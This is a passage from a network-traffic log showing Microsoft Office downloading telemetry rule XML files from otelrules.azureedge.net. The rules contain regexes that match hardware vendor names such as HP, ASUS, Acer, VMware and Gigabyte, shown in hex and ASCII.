2024-12-09 05:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 09beb194-c01e-008e-544f-497381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054919Z-r1cf579d7782w22mhC1EWR2ebg00000002cg000000004x55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.11	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054919Z-r1cf579d7789trgthC1EWRkkfc0000000890000000000nhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.11	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: de887255-201e-0085-4749-4934e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054919Z-r1cf579d7782w22mhC1EWR2ebg00000002bg000000005zss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.11	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3861519e-b01e-001e-7e3f-490214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054922Z-r1cf579d778pftsbhC1EWRa0gn00000001yg0000000065ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.11	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:21 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 15aef412-b01e-0070-4ab4-491cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054922Z-r1cf579d778n7642hC1EWRpehw00000000n0000000000u4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.11	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054922Z-r1cf579d778t5c2lhC1EWRce3w000000088g000000001cbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.11	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:21 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054922Z-r1cf579d778lntp7hC1EWR9gg400000006w0000000005ty5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.11	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: fc439136-701e-0053-5f66-493a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054922Z-r1cf579d778x776bhC1EWRdk8000000007h0000000003c4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.11	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:23 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: bfe88b8e-901e-0083-317e-49bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054924Z-r1cf579d778j4j5fhC1EWR3ge800000001200000000037c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.11	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:23 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054924Z-r1cf579d778bb9vvhC1EWRs9540000000720000000004n5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.11	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:23 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054924Z-r1cf579d7789trgthC1EWRkkfc000000089g000000000aux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.11	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:23 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: b89b3fcb-001e-0065-4ece-490b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054924Z-r1cf579d778j4j5fhC1EWR3ge8000000010000000000529k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:24 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.11	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
